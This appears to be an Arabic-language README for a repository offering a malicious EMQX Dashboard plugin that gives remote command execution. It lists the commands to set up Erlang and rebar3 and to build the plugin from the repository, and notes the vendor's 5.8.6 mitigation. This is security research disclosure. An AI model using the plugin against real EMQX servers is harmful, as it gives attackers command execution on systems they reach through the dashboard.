
إضافة EMQX Dashboard الخبيثة المؤدية إلى تنفيذ التعليمات عن بُعد (RCE)
هذه إضافة خبيثة لـ EMQX Dashboard تتيح تنفيذ الأوامر عن بُعد.
يعتمد الكود في هذا المستودع في معظمه على أحد أحدث إصدارات مستودع EMQX plugin template، المرخّص بموجب Apache 2.0.
إذا كنت ترغب في تجربة ذلك، يمكنك تشغيل صورة Docker كما هو موضّح في وثائق EMQX.
sudo apt update
sudo apt install -y build-essential autoconf libncurses5-dev libssl-dev \
libwxgtk3.2-dev libgl1-mesa-dev libglu1-mesa-dev libpng-dev \
libssh-dev unixodbc-dev cmake
git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.13.1
echo '. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo '. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
source ~/.bashrc
asdf --version
asdf plugin-add erlang https://github.com/asdf-vm/asdf-erlang.git
asdf install erlang 25.3
asdf global erlang 25.3
git clone https://github.com/erlang/rebar3.git
cd rebar3
./bootstrap
sudo chmod +x rebar3
sudo mv rebar3 /usr/local/bin/
mkdir -p ~/.config/rebar3/templates/emqx-plugin-template
git clone https://github.com/ricardojoserf/emqx-RCE ~/.config/rebar3/templates/emqx-plugin-template

rebar3 new emqx-plugin my_emqx_plugin
make -C my_emqx_plugin rel
cp my_emqx_plugin/_build/default/emqx_plugrel/my_emqx_plugin-1.0.0.tar.gz .
بعد مناقشات مع فريق أمن EMQX في فبراير ومارس 2025، أكّدوا أن هذا لا يُعتبر ثغرة أمنية بل "ميزة"، ولا يمانعون في جعل هذا المستودع عامًا.
ومع ذلك، بدءًا من الإصدار 5.8.6 (الصادر في 25/3/25)، سيتم تخفيف هذه الميزة عبر إدخال "أمر CLI للسماح صراحةً بالحزمة قبل تثبيت إضافة عبر HTTP API أو Dashboard، مما يحسّن الأمان ويمنع عمليات التثبيت غير المصرّح بها" (المصدر).
لذلك، في الإصدارات السابقة، إذا كان لديك وصول إلى EMQX Dashboard يمكنك تحقيق RCE، أما في الإصدارات بعد 5.8.6 فستحصل على هذا الخطأ:
